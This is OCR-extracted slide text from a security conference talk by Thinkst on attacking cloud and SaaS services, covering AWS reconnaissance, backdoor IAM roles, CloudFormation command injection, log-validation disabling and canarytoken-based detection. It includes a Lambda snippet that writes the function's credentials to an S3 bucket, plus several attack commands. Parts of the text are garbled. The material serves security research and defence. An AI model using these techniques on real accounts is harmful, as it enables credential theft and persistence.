Fighting the Previous War

https://thinkst.com



Who are we?



CANARY



This talk.. almost entirely not my work





Why are we here?





Clobbering the Cloud!

{ haroon I marco I nick }
@sensepost.com



The LOUD in cLOUD security...

- A bunch of people are talking about "the cloud"
- There are large numbers of people who are immediately down on it:
- "There is nothing new here"
- "Same old, Same old"
- If we stand around splitting hairs, we risk missing something important..




Created image.part.118 Created image.part.119 Created image.part.120 Created image.part.121 Created image.part.122 Created image.part.123 Created image.part.124 Created image.part.125 Created image.part.126 Created image.part.127 Created image.part.128 Created image.part.129 Created image.part.130 Created image.part.131 Created image.part.132 Created image.part.133 Created image.part.134 Created image.part.135 Created image.part.136 Created image.part.137 Created image.part.138 Created image.part.139 Created image.part.140 Generating digests for each part... Digests generated.


Unable to read instance meta-data for product-codes Creating bundle manifest... ec2-bundle-vol complete.



root@domU-12-31-39-00-B2-17:~ -

[root@domU-12-31-39-00-B2-17 ~]# ec2-api-tools-1.3-34128/bin/ec2-register qsc IMAGE ami-f920c190






[haroon@blowfish ~]\$ tail -f /var/log/httpd-ssl_error.log [Wed Jul 15 15:02:09 2009] [client 75.101.178.184] /usr/local/www/data-ssl/EC2_IMAGE_BOOTED [Wed Jul 15 15:04:47 2009] [client 75.101.178.184] /usr/local/www/data-ssl/EC2_IMAGE_BOOTED [Wed Jul 15 15:04:56 2009] [client 75.101.178.184] /usr/local/www/data-ssl/EC2_IMAGE_KILLED



Distributed Denial Of Service (DDoS) Attacks: AWS API endpoints are hosted
on the same Internet-scale, world class infrastructure that supports the
Amazon.com retail site. Standard DDoS mitigation techniques such as syn
cookies and connection limiting are used. To further mitigate the effect of
potential DDoS attacks, Amazon maintains internal bandwidth which exceeds its
provider-supplied Internet bandwidth.




Scaling Regist




haroon@introonet:-/mi/kisign -- ssh

[haroon@introomet multisign]5


Scaling Registration?












Booting EC2 Intances Exponentially





"This is different, and will need different thinking"

- Us (2009)





"This is different, and will need different thinking"

- Us (2017)





People still treat SaaS as "Just Another Web-app"

People still treat laaS as "Hosted Linux Servers"



Differences in:

- Footprinting;
- Exploitation;
- Post Exploitation;
- Persistence.



Always been under-valued




Now it's even harder



Using the service Extends your attack surface





White Hats - Nepal

Securing the WWW

SUBMIT A POST ARCHIVE

Reading Uber's Internal Emails [Uber Bug Bounty report worth \$10,000]

After recent finding about one of the Uber's subdomain takeover was publicly disclosed, I looked into Uber to find similar bugs. One of my colleagues <u>Abhibandu Kafle</u>, pointed out that em.uber.com also had CNAME pointing to SendGrid and could be vulnerable to similar kind of issue.

I had limited experience using SendGrid, so I focussed on finding other issues instead. Sometimes later, I decided to give it a shot anyway because looking at it through different angles can sometimes open various doors and I was running out of endpoints to look into. So I signed up on SendGrid, a transactional and marketing email service used by uber, to see what was possible.

Based on original hypothesis, I looked around to understand how to claim a domain through


SendGrid Loculd not edit contents of the domain like you would normally do to demonstrate a




Would you know if it was being attacked? Would you know if it was compromised?




https://canarytokens.org








Would you know if it was being attacked? Would you know if it was compromised?











Brought to you by Thinkst Canary, our insanely easy-to-use honeypot solution that deploys in just four minutes. Know.

When it matters.

© Thinkst Applied Research 2015–2017





Canarytokens by Thinkst

What is this and why should I care?



Your Web token is active!

Copy this URL to your clipboard and use as you wish:

http://canarytokens.com/images/0vimnzu9ozeto6authskx1wcf/com



New token

Manage this token


Remember, it gets triggered whenever someone requests the URL.

If the URL is requested as an image (e.g.) then a 1x1 image is served. If the URL is surfed in a browser than a blank page is served with fingerprinting Javascript.

Ideas for use:

- In an email with a juicy subject line.
- · Embedded in documents.
- · Inserted into canary webpages that are only found through brute-force.
- This URL is just an example. Apart from the hostname and the actual token (the random string), you can change all other parts of the URL.







•=

1=

<u>A</u> +

Activation...

Canarytoken triggered

ALERT

An HTTP Canarytoken has been triggered by the Source IP 136.179.21.69.

Basic Details:

Channel	HTTP					
Time	2017-07-26 00:41:50					
Canarytoken	0vimnzu9ozeto6authskx1wcf					
Token Reminder	Token added to Anna's Salesforce Account					
Token Type	web					
User Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36					

Canarytoken Management Details:

Manage this Canarytoken here
More info on this token <u>here</u>



Differences in:

- Footprinting;
- Exploitation;
- Post Exploitation;
- Persistence.



Not always where we expect




Devices are (getting) harder But boundaries are fuzzier



Splitting of the Atom



A hackable text editor for the 21st Century





Telemetry Consent untitled

Welcome

Welcome Guide



A hackable text editor for the 21st Century


For help, please visit


- The Atom docs for Guides and the API reference.
- The Atom forum at discuss.atom.io
- The Atom org. This is where all GitHub-created Atom packages can be found.
- ✓ Show Welcome Guide when opening Atom


atom.io × 🗂


Get to know Atom!

- Open a Project
- Version control with Git and GitHub
- Install a Package
- Customize the Styling
- ⇔ Hack on the Init Script
- Add a Snippet
- Learn Keyboard Shortcuts









× apps@ip-172-10-0-1... Ж1


Auto-Indent Bracket Matcher Command Palette Dev Live Reload Git Diff GitHub Keybinding Resolver Markdown Preview Minify Open On GitHub Package Generator Pretty JSON Settings View Snippets Spell Check Styleguide Symbols Timecop touch-type-teacher

Tree View

Whitespace

demo ① 0 ▲ 0 ③ 0 1:1 • LF UTF-8 Plain Text 🗐 0 files

demo



```
192.168.10.1: Sending 'whoami'
192.168.10.1: Result of 'whoami':
nick
192.168.10.1: Sending 'ls /Users'
192.168.10.1: Result of 'ls /Users':
Deleted Users
Guest
Shared
nick
```




Differences in:

- Footprinting;
- Exploitation;
- Post Exploitation;
- Persistence.



Own a client - Read their Mail





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When it matters.

© Thinkst Applied Research 2015–2017





Canarytokens by Thinkst

What is this and why should I care?



Your Web token is active!

Copy this URL to your clipboard and use as you wish:

http://canarytokens.com/traffic/rm3gs14t4167dnejnj2pnwvrs/c 🖰 📴



New token

Manage this token


Remember, it gets triggered whenever someone requests the URL.

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Ideas for use:

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- This URL is just an example. Apart from the hostname and the actual token (the random string), you can change all other parts of the URL.





Canarytoken triggered

ALERT

An HTTP Canarytoken has been triggered by the Source IP 136.179.21.69.

Basic Details:

Channel	HTTP				
Time	2017-07-26 02:45:43				
Canarytoken	rm3gs14t4167dnejnj2pnwvrs				
Token Reminder	Stored in Aadila's Email				
Token Type	web				
User Agent	Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36				

Canarytoken Management Details:

Manage this Canarytoken here

More info on this taken have






Following

Your company uses a popular group chat tool. An employee's credentials leak and a rogue login grabs messages from every channel over time.

11:00 PM - 5 Jun 2017

24 Retweets 53 Likes





J

 \mathbb{C}









I'm asking 2 questions at the start of this exercise:

- 1. Our employee, or employe of chat vendor?
- 2.Did we find out about this leak yet? How?



- 1









Alun Jones @ftp_alun · Jun 5

To clarify, 2 is meant as a "we weren't monitoring that feed, so how did we catch that a leak was even happening?" question.




2









Ryan McGeehan @Magoo · Jun 6

Replying to @ftp_alun @badthingsdaily @hypatiadotca

Well, not all tabletops need to start with a direct lead, they can start with a hypothetical you haven't actually caught yet as well.



2









Alun Jones @ftp_alun · Jun 6

It peters out pretty quickly if the resultant discussion becomes "we have nothing to detect this". :)













How would you know?







🖀 7 Updates



01:46	az	haha	h, th	at vid .	man,	never	ge	ts o	ld	
									-	

06:19 mh http://canarytokens.com/traffic/rm3gs14t4l67dnejnj2pnwvrs/passwords

11:09 mh does the icon for the canary twitter account appear broken to you guys?

11:10 **nick** Looks ok to me?



11:12 max way yeah there's a little bump at the bottom but all good


Today

13:56 mh http://45e51129ec7e.o3n.io/content/ubo934avq4wet2ua84pb0mtag/password.jpg (75kB) ▼




(ignore that - me testing something)
















Differences in:

- Footprinting;
- Exploitation;
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- Persistence.




It's all about the App?




Self XSS becomes a thing...
























Name	▲ Instance ID ▼	Instance Type 🔻	Availability Zone -	Instance State -	Status Checks
CloudCanary			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -	1-03-89-600		eu-west-1a	running	2/2 checks passed
Canary Console -			eu-west-1a	running	2/2 checks passed
Canary Console -	1010000	directions.	eu-west-1a	running	2/2 checks passed



WordPress Hosting

How to run WordPress on AWS

WordPress is one of the world's most popular web publishing platforms, being used to publish 27% of all websites, from personal blogs to some of the biggest news sites. This reference architecture simplifies the complexity of deploying a scalable and highly available WordPress site on AWS.



- 1 Static and dynamic content is delivered by Amazon CloudFront.
- An Internet gateway allows communication between instances in your VPC and the Internet.
- NAT gateways in each public subnet enable Amazon EC2 instances in private subnets (App & Data) to access the Internet.
- Use an Application Load Balancer to distribute web traffic across an Auto Scaling Group of Amazon EC2 instances in multiple AZs.
- Run your WordPress site using an

 Auto Scaling group of Amazon EC2
 instances. Install the latest versions
 of WordPress, Apache web server,
 PHP 7, and OPcache and build an
 Amazon Machine Image that will be
 used by the Auto Scaling group launch
 configuration to launch new instances
 in the Auto Scaling group.
- If database access patterns are readheavy, consider using a WordPress
 plugin that takes advantage of a
 caching layer like Amazon
 ElastiCache (Memcached) in front of
 the database layer to cache frequently
 accessed data.
- 7 Simplify your database administration by running your database layer in Amazon RDS using either Aurora or MySQL.
- Amazon EC2 instances access shared WordPress data in an Amazon EFS file system using **Mount Targets** in each AZ in your VPC.
- Use Amazon EFS, a simple, highly available, and scalable network file system so WordPress instances have access to your shared, unstructured WordPress data, like php files, config, themes, plugins, etc.



Function counts

~3100

~800










VS









Privesc

Compromise

Persistence

• Lateral movement

Logging disruption


Compromise

Lateral movement

Privesc

Persistence

Logging disruption





Account: 123456789576



```
aws iam create-role --role-name foo1 —assume-role-policy document "$(echo "{\"Version\": \"2012-10-17\", \"Statement\": [ { \"Effect\": \"Allow\", \"Action\": \"sts:AssumeRole\", \"Principal\": { \"AWS\": [\"123456789012\"] } } ] }")"
```



```
[ec2-user@ip-172-31-29-166 ~]$ aws iam create-role --role-name foo1 --assume
-role-policy-document "$(echo "{\"Version\": \"2012-10-47\", \"Statement\":
[ { \"Effect\": \"Allow\", \"Action\": \"sts:Assumed le\", \"Principal\": {
\"AWS\": [\"123456789012\"] } } ] }")"
An error occurred (MalformedPolicyDocument) when calling the CreateRole oper
```

ation: Invalid principal in policy: "AWS": "123456789012"



```
[ec2-user@ip-172-31-29-166 ~]$ aws iam create-role --role-name foo1 --assume
-role-policy-document "$(echo "{\"Version\": \"2012-10-17\", \"Statement\":
[ { \"Effect\": \"Allow\", \"Action\": \"sts:AssumeRole\", \"Principal\": {
\"AWS\": [\"____\"] } } ] }")"
    "Role": {
       "AssumeRolePolicyDocument": {
           "Version": "2012-10-17",
           "Statement": [
                   "Action": "sts:AssumeRole",
                   "Effect": "Allow",
                   "Principal": {
                      "AWS": [
                          "
       },
       "RoleId": "AROAJOIFH3ZXDBZSPSVKI",
       "CreateDate": "2017-07-25T18:48:08.698Z",
       "RoleName": "foo1",
       "Path": "/",
       "Arn": "arn:aws:iam:: :role/foo1"
```



It works! (Reeeeeeally slowly)




B89D-A34CD7395907 is not a valid project arn But, I am using ...

Discussion Forums Welcome, Guest | Login | Forums Help Discussion Forums > Advanced Search Search Terms: Category or Forum: Date Range: Username or ID: Results: **\$** 15 ΑII ΑII **\$** Search Tips 1 results for ' Sort by: Relevance \$ 1. Re: Not able to create device pool using CLI posted by: _____, posted on: Sep 22, 2015 11:08 AM , Relevance: 100% , Show all results within this thread (ArgumentException) occurred when calling the CreateUpload operation: arn:aws:devicefarm:us-west-2: project:EBBFFD6F-CE56-4208-



Public images V Q Filter by tags and attributes or search by keyword					< 1 to 50	of 57,565 > >
	AMI ID	Source	Owner	Visibility	Status	Creation Date
	ami-00103874	alestic-32-eu-west-1/ubuntu-6.06-dap	063491364108	Public	available	-
	ami-00b18074	wpt-ireland/ie8-20110703.manifest.xml	314854558937	Public	available	July 3, 2011 at 8:15
	ami-00f35b77	trustance-eu-west-1/0.9.1/ami.img.ma	003046273657	Public	available	October 26, 2014 at
	ami-01757175	enterprisedb-ppcd-1-0-pg9-1-x86-64-2	747919436152	Public	available	June 29, 2012 at 5:
	ami-01b89075	alestic-32-eu-west-1/ubuntu-8.10-intre	063491364108	Public	available	-
	ami-02103876	alestic-32-eu-west-1/debian-6.0-squee	063491364108	Public	available	-
	ami-029f9476	centos64-eu-west-1/CentOS6.4-basht	131390343770	Public	available	March 14, 2013 at 4
	ami-03b89077	alestic-32-eu-west-1/ubuntu-8.10-intre	063491364108	Public	available	-
	ami-03be9677	rightscale-eu/CentOS_5.2_x64_v4.1.2	411009282317	Public	available	-
	ami-03d1e877	enterprisedb-ppcd-1-0-ppas9-1-x86-6	747919436152	Public	available	March 6, 2012 at 10
	ami-03ddc077	/hypertable-eu/training/m1.xlarge-1/im	180777447352	Public	available	June 30, 2013 at 3:
	ami-04665670	cloudtest-images-eu-west-1/maestro-o	851601128636	Public	available	July 15, 2011 at 8:0
	ami-05270c71	cloud-tools-eu-x86-v1-2-110909-2217/	405919819755	Public	available	-
	ami-05b89071	alestic-32-eu-west-1/ubuntu-8.04-hard	063491364108	Public	available	-
	ami-05c2e971	ubuntu-images-eu/ubuntu-karmic-9.10	099720109477	Public	available	January 21, 2010 at





S3 bucket discovery



SECURITY THROUGH...WHAT EXACTLY? —

Defense contractor stored intelligence data in Amazon cloud unprotected [Updated]

Booz Allen Hamilton engineer posted geospatial intelligence to Amazon S3 bucket.

SEAN GALLAGHER - 5/31/2017, 1:00 PM




The Great S3 Bucket search

https://community.rapid7.com/community/infosec/blog/2013/03/27/1951-open-s3-buckets

https://digi.ninja/blog/analysing amazons buckets.php









https://sqs.us-east-1.amazonaws.com/ XXXXXXXXXXXXX/SlotsVacationXXX



```
[ec2-user@ip-172-31-29-166 ~]$ aws --region us-east-1 sqs get-queue-attributes --queue-url https://sqs.us-eas
                              testQueue --uthribute-names All
t-1.amazonaws.com/
   "Attributes": {
       "ApproximateNumberOfMessagesNutVisible": "0",
       "MessageRetentionPeriod": "345660",
       "ApproximateNumberOfMessagesDelayea"
                                                    testQueue
       "MaximumMessageSize": "262144",
       "CreatedTimestamp": "1445050188",
       "ApproximateNumberOfMessages": "0",
       "ReceiveMessageWaitTimeSeconds": "0",
       "DelaySeconds": "0",
       "VisibilityTimeout": "30",
       "LastModifiedTimestamp": "1445050202",
       "QueueArn": "arn:aws:sqs:us-east-1:
                                                     :testQueue"
```



• Recon

Compromise

Lateral movement

Privesc

Persistence

Logging disruption



AWS credentials




Created	Deleted	Access Key ID	Last Used	Last Used Region	Last Used Service	Status	Actions
Jul 25th 2017			N/A	N/A	N/A	Active	Make Inactive Delete

AWS API Keys

Access key ID	Created	Last used	Status	
	2017-07-10 15:50 PDT	2017-07-11 03:31 PDT with sqs in us-east-1	Active Make inactive	×





AWS Temporary Keys



```
curl -kis \
```

- -H "Accept: application/json" \
- -H "Authorization: CFN_V1 \

ewoglCJkZXZwYXIQcm9kdWN0Q29kZXMilDogbnVsbCwKlCAiYXZhaWxhYmlsaXR5Wm 9uZSlgOiAiZXUtd2VzdC0xYylsCiAglnByaXZhdGVJcClgOiAiMTcyLjMxLjM4LjlyOSlsCiAgl nZlcnNpb24ilDogljlwMTAtMDgtMzEiLAoglCJpbnN0YW5jZUlkliA6lCJpLTBjNjBjMjQ3YTV hZTg2NDBiliwKlCAiYmlsbGluZ1Byb2R1Y3RzliA6lG51bGwsCiAglmluc3RhbmNIVHIwZSl gOiAidDluc21hbGwiLAoglCJhY2NvdW50SWQilDogljM0NDYzNDExNDk3NSlsCiAglmFyY 2hpdGVjdHVyZSlgOiAieDg2XzY0liwKlCAia2VybmVsSWQilDogbnVsbCwKlCAicmFtZGlza 0lkliA6lG51bGwsCiAglmltYWdlSWQilDoglmFtaS1mOWRkNDU4YSlsCiAglnBlbmRpbmd UaW1lliA6lClyMDE3LTA3LTE3VDlzOjAxOjl3WilsCiAglnJlZ2lvbilgOiAiZXUtd2VzdC0xlgp9: GVcjk9lgggh3CjvaqnDC0oalKuvIlUcxxqkk1ETElbAELm89bc7rcuB5oYTV9oo7rt49fBKmf cchlbCz7NyXJC8OntAtoA3JP8HDjo3139h+e38LnpaTfwPPUtt4g4zdWENYgqtDlHtfJrkXK OOEz64aL1ig/ht0mBSD8x110aM=" \

-H "User-Agent: CloudFormation Tools" \

"https://cloudformation.eu-west-1.amazonaws.com/?

Action=DescribeStackResource&StackName=arn%3Aaws%3Acloudformation%3Aeuwest-1%3A344634114975%3Astack%2Ftest%2Fd6bf4690-6b43-11e7-

b5dd-50a686326636&Version=2010-05-15&ContentType=JSON&LogicalResourceId=WebS erverInstance'



Inter-account sharing




Launch
Spot Request
Deregister
Register New AMI
Copy AMI
Modify Image Permissions
Add/Edit Tags
Modify Boot Volume Setting

Modify Image Permissions

This image is currently: Public Private

AWS Account Number	
4	×
89	8
0:	×
6:	×
4:	×
69	×
7	×
8	8
0	8
7:	8







Permissions enum



Perm-enum.py

- 1. Build a list of current services in boto3
- 2. Build a list of every Get/List/Describe method on every service
- 3. Brute-force the parameters through a combination of guessing, pattern matching and heuristics
- 4. Call API, infer success or failure from responses



```
[ec2-user@ip-172-31-29-166 ~]$
```



• Recon

• Compromise

Lateral movement


Privesc

Persistence

Logging disruption



Lateral movement





Lateral movement

Amazon EC2

Template Name	Description	View	View in Designer	Launch
Amazon EC2 instance in a security group	Creates an Amazon EC2 instance in an Amazon EC2 security group.	View	View in Designer	Launch Stack (
Amazon EC2 instance with an Elastic IP address	Creates an Amazon EC2 instance and associates an Elastic IP address with the instance.	View	View in Designer	Launch Stack
Amazon EC2 instance with an ephemeral drive	Creates an Amazon EC2 instance with an ephemeral drive by using a block device mapping.	View	View in Designer	Launch Stack



Lateral movement

CF template modifying



```
"Description": "AWS CloudFormation Sample Template
LAMP_Single_Instance: Create a LAMP stack using a single EC2
instance and a local MySQL database for storage. ...",
"Parameters": { "DBRootPassword": {
   "Description": "Root password for MySQL",
   "Type": "String",
"01_set_mysql_root_password": {
 "command": { "Fn::Join": ["", ["mysqladmin -u root password "", {
 "Ref": "DBRootPassword" }, ""]]},
```



```
"01_set_mysql_root_password": {
    "command": { "Fn::Join": ["", ["touch /tmp/thinkst; mysqladmin -
    u root password "", { "Ref": "DBRootPassword" }, """]]},
```

```
aws --region eu-west-1 cloudformation create-change-set --stack-name test — change-set-name change1 --template-body "$(cat LAMP_Single_Instance.template)" --parameters "ParameterKey=KeyName,UsePreviousValue=true" ...
```

aws --region eu-west-1 cloudformation execute-change-set --change-set-name arn:aws:cloudformation:eu-west-1:123456789012:changeSet/change1/7510e3ac-ea60-4f94-98de-06c868a56d57



There's more to CF



```
"Parameters": {
      "AppURL": {
             "Default": "http://aws-facebook.s3.amazonaws.com/aws-facebook-php-v2.tar.gz",
             "Description": "URL of the application to be deployed",
             "Type": "String"
      },
"UserData": {
 "Fn::Base64": {
   "Fn::Join": [
       "#!/bin/bash -ex\n",
       "yum -y install git-core\n",
                       "cd /var/www/html","\n",
                       "rm -f index.php", "\n",
                       "mkdir ", {"Ref" : "FacebookNamespace" } ,"\n",
                       "cd ",{"Ref" : "FacebookNamespace" } ,"\n",
                       "curl ", { "Ref": "AppURL" } ," | tar xz --strip-components 1", "\n",
                       "git clone git://github.com/facebook/php-sdk.git","\n",
                       "git clone git://github.com/amazonwebservices/aws-sdk-for-php.git","\n",
                       "chmod -R 755 /var/www/html/",{"Ref" : "FacebookNamespace" }, "\n",
                       "chown -P root root /war/www/html/" ["Pof" . "FacebookNamegrace" ] "\n"
http://s3.amazonaws.com/aws-facebook/SampleFacebookPHP.template
                                                                                        applied research
```

Cowned by Me or Amazon V Filter by attributes

Name	Owner	Platform type
AWS-ConfigureWindowsUpdate	Amazon	Windows
AWS-RunAnsiblePlaybook	Amazon	Linux
AWS-RefreshAssociation	Amazon	Windows,Linux
AWS-UpdateSSMAgent	Amazon	Windows,Linux
AWS-ConfigureDocker	Amazon	Windows,Linux
AWS-FindWindowsUpdates	Amazon	Windows,Linux
AWS-ConfigureAWSPackage	Amazon	Windows,Linux
AWS-ListWindowsInventory	Amazon	Windows
AWS-RunDockerAction	Amazon	Windows,Linux
AWS-RunSaltState	Amazon	Linux
AWS-InstallPowerShellModule	Amazon	Windows
AWS-InstallApplication	Amazon	Windows
AWS-JoinDirectoryServiceDomain	Amazon	Windows
AWS-RunPatchBaseline	Amazon	Windows,Linux
AWS-InstallSpecificWindowsUpdates	Amazon	Windows



• Recon

• Compromise

• Lateral movement

Privesc

Persistence

Logging disruption



Privesc

iam:* == NOPASSWD sudo



Privesc

Passing roles



Privesc

```
"Effect": "Allow",
"Action": [
  "ec2:StartInstances",
  "ec2:StopInstances"
"Resource": "arn:aws:ec2:us-east-1:123456789012:instance/*",
"Condition": {
  "StringEquals": {
    "ec2:ResourceTag/Owner": "${aws:username}"
```



• Recon

• Compromise

• Lateral movement

• Privesc

Persistence

Logging disruption



Previous work

https://danielgrzelak.com/backdooring-an-aws-account-da007d36f8f9


https://www.blackhat.com/docs/us-16/materials/us-16-Amiga-Account-Jumping-Post-Infection-Persistency-And-Lateral-Movement-In-AWS-wp.pdf






AWS Lambda













Lambda subversion






```
def lambda_handler(event, context):
    import boto3
    session = boto3.Session()
    credentials = session.get_credentials()
    s3 = boto3.client('s3')
    s3.create_bucket(Bucket='not-temp-creds-bucket')
    response = s3.put_object(Bucket='not-temp-creds-bucket',Body='{c}'.format(c=credentials.get_frozen_credentials)
# TODO implement
    return "Hello from Lambda"
```



Good luck with that!



```
"Statement": [
      "Effect": "Deny",
     keyn "Action": "*",
      "Resource": "arn:aws:ec2:*:*:instance/i-XXXXX"
      "Effect": "Deny",
      "Action": "*",
      "Resource": "arn:aws:iam::123456789012:user/*"
```




Enter the ID of the AWS account whose IAM users will be able to access this account.

Account ID: Enter a 12-digit AWS Accour

Require MFA:







Re-use an existing role



Permissions

Trust relationships

Access Advisor

Revoke sessions



Overly Permissive policy


Current permissions allow users from any AWS account to assume this role and access your account. We recommend that you update the role trust policy to restrict access to only authorized users.

You can view the trusted entities that can assume the role and the access conditions for the role. Show policy document

Edit trust relationship

Trusted entities

The following trusted entities can assume this role.



Conditions


The following conditions define how and when trusted entities can assume the role.

Bool aws:MultiFactorAuthPresent tr	/alue	Condition
aws.iviuitiractorAuthriesent tr	rue	Bool



Organisations





Important

You can remove an account from your organization only if the account has the information required for it to operate as a standalone account.

AWS Organizations console, API, or CLI commands, all the information required of standalone accounts is not automatically collected. For each account that you want to make standalone, you

must accept the End User License Agreement (EULA), choose a support plan, provide and verify the

requir metho attach

You cannot remove an account from the organization if the account owner has not signed the EULA.



• Recon

• Compromise

• Lateral movement

• Privesc

• Persistence

Logging disruption




Previous work




Log modification












Call UpdateTrail to disable validation





Call UpdateTrail to disable validation





Compute

EC2

EC2 Container Service

Lightsail

Elastic Beanstalk

Lambda

Batch



Storage

S3

EFS

Glacier

Storage Gateway



Database

RDS

DynamoDB

ElastiCache

Redshift



Networking & Content Delivery

VPC

CloudFront

Direct Connect

Route 53



Migration

Application Discovery Service

DMS

Server Migration

Snowball



Developer Tools

CodeStar

CodeCommit

CodeBuild

CodeDeploy CodePipeline

X-Ray



Management Tools

CloudWatch

CloudFormation

CloudTrail

Config

OpsWorks

Service Catalog

Trusted Advisor

Managed Services



Security, Identity & Compliance

IAM

Inspector

Certificate Manager

Directory Service

WAF & Shield

Artifact



Analytics

Athena

EMR

CloudSearch

Elasticsearch Service

Kinesis

Data Pipeline

QuickSight



Artificial Intelligence

Lex

Polly

Rekognition

Machine Learning



Internet Of Things

AWS IoT

AWS Greengrass



Contact Center

Amazon Connect



Game Development

Amazon GameLift



Mobile Services

Mobile Hub

Cognito

Device Farm

Mobile Analytics

Pinpoint



Application Services

Step Functions

SWF

API Gateway

Elastic Transcoder



Messaging

Simple Queue Service

Simple Notification Service

SES



Business Productivity

WorkDocs

WorkMail

Amazon Chime





Desktop & App Streaming


WorkSpaces


AppStream 2.0













BeyondCorp A New Approach to Enterprise Security

RORY WARD AND BETSY BEYER





thinkst applied research



Basic Principles



Connecting from a particular network must not determine which services you can access.




Access to services is granted based on you and your device.



All access to services must be authenticated, authorized and encrypted.







In practical terms

- Your laptop has a certificate
- Certificate is tied at Google to your device
- Google saves info about your device (e.g. last vuln scan, patch status)
- You access corporate apps through a single proxy and SSO
- Proxy knows your device certificate, you authenticate with username/password/2fa.
- Proxy has an Access Control Engine which evaluates rules on your identity and device

Example rules



"Bug tracking is available only to full-time engineers on engineering devices."

"Browsers vulnerable to active ongoing exploits aren't allowed to access services."



Where does this leave attackers?



ÜberPoxy



All of Google's enterprise applications are exposed externally and are registered in public DNS with a CNAME pointing the applications at the Internet-facing access proxy



```
abbot:~ marco$ host finance.corp.google.com 8.8.8.8
Using domain server:
Name: 8.8.8.8
Address: 8.8.8.8#53
Aliases:
finance.corp.google.com is an alias for uberproxy.l.google.com.
uberproxy.l.google.com nas adaress oo.102.1.129
uberproxy.l.google.com has IPv6 address 2a00:1450:400c:c02::81
```




[...] pitch.corp.google.com pivot.corp.google.com placer.corp.google.com plan.corp.google.com platform.corp.google.com platinum.corp.google.com plato.corp.google.com pleiades.corp.google.com

plumeria.corp.google.com plus.corp.google.com plutus.corp.google.com pm.corp.google.com poker.corp.google.com polyglot.corp.google.com pong.corp.google.com portal.corp.google.com

postmaster.corp.google.co power.corp.google.com pp.corp.google.com present.corp.google.com presto.corp.google.com prg.corp.google.com print.corp.google.com printer.corp.google.com

printers.corp.google.com prod.corp.google.com production.corp.google.com profiles.corp.google.com prom.corp.google.com prophet.corp.google.com prosper.corp.google.com proto.corp.google.com [...]



Certificate Transparency





Use your SSO username a	nd password	
Username:	google.com [+]	
Password: Sign in		
Use Security Code	Security Key help Password help	








A bunch of different login screens









403. That's an error.

You do not have access to this page. Sign in

That's all we know.








What is this?

Error. You do not have access to the requested resource



Therefore we served HTTP status code 403.

Error Code 6:

Your device is not allowed to access this application. Please contact the application owner.

Googler on a Google owned laptop? Check your certificate <u>go/uberproxyz</u> and see if **certificate** Valid. If not valid, see <u>go/certinstall</u> to install a certificate.

Do not take a screenshot of this page, rather copy/paste the text below. You will be asked to retype this hard to read text!

time: 2017-06-14 08:18:53

fp:

_.

deny_info='time=1497453533&user=unauthenticated-corp-loas-

proxy&srcip=52.214.180.174&url=https://peersetpicker.googleplex.com/&uuid=L23P+3XTQ+XRR4+3TZD&user_agent=Mozilla/5
(Unknown%3B+Linux+x86_64)+AppleWebKit/538.1+
(KHTML,+like+Gecko)+PhantomJS/2.0.0+Safari/538.1&'

Copy/paste the text above!

Please see <u>goto/uberproxy-error-codes</u> for error details



Use yo	ur SSO username an	d password	
Username:		@ google.com [+]	
Password:			
<u>Security</u> <u>Code</u> :			
	Sign in	Security Key help Password help	







Cafe 312 - Guest Reservations

In the interest of data transparency, here's a report of aggregated statistics on cafe guests.

LDAP of host:	blah
Number of guests:	1
Date of visit:	2017-06-30
Total number of days visiting:	optional
These guests are	external (non-Googlers) internal (Googlers)
The visit is for	 business (e.g. official meetings, client entertaining) personal (e.g. social visit)
Will these guests be eating	✓ breakfast? □ lunch?
	minikitchen floor number?
Notes about the visit (optional):	



SSO attacks



BeyondCorp Commercial Options



CLOUD IDENTITY-AWARE PROXY

RFTA

Use identity to guard access for applications deployed on GCP



Duo Beyond



What we touched vs what we didnt?



So is it all gloomy and hopeless?




We do have concentration of skills; We do have instrumentation;



- ./drivewatch.py
- AWSID Tokens





```
1. Python
max@maxs-MacBook-Pro drive-watch $ python driveWatch.py
[*] Starting Drivewatch...
[*] Building user baseline...
[*] Starting event loop...
[*] Drivewatch Ready!
```



```
max@maxs-MacBook-Pro drive-watch $ python driveWatch.py
[*] Starting Drivewatch...
[*] Building user baseline...
[*] Starting event loop...
[*] Drivewatch Ready!
Token fired! gsuitestest@thinkstcorp.com's document: 1v54U2Z7FcvUg3RxCzvwtt7n36EBQEeXXEYL-dpEKO3U had the event occur: view which was made by u
ser: gsuitestest@thinkstcorp.com
Token fired! gsuitestest@thinkstcorp.com's document: 1v54U2Z7FcvUg3RxCzvwtt7n36EBQEeXXEYL-dpEKO3U had the event occur: view which was made by u
ser: gsuitestest@thinkstcorp.com
Token fired! gsuitestest@thinkstcorp.com's document: 1v54U2Z7FcvUg3RxCzvwtt7n36EBQEeXXEYL-dpEKO3U had the event occur: view which was made by u
ser: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1v54U2Z7FcvUg3RxCzvwtt7n36EBQEeXXEYL-dpEKO3U had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1v54U2Z7FcvUg3RxCzvwtt7n36EBQEeXXEYL-dpEKO3U had the event occur: edit which was made
 by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1o-X1GGg0B4F6kp5jh70U311b9ULKuPU0KNeBmXuN8Gw had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1jKj2mfZu0pCvoURiCr8Z-tVX-H4GCtVaoJ2nS700VF4 had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
User token fired! gsuitestest@thinkstcorp.com's document: 1Fb0lWQLRja2TXBXVdzjc0bJUqS2vmomIFPOQQr1NWVs had the event occur: view which was made
by user: stevebrule@thinkstcorp.com
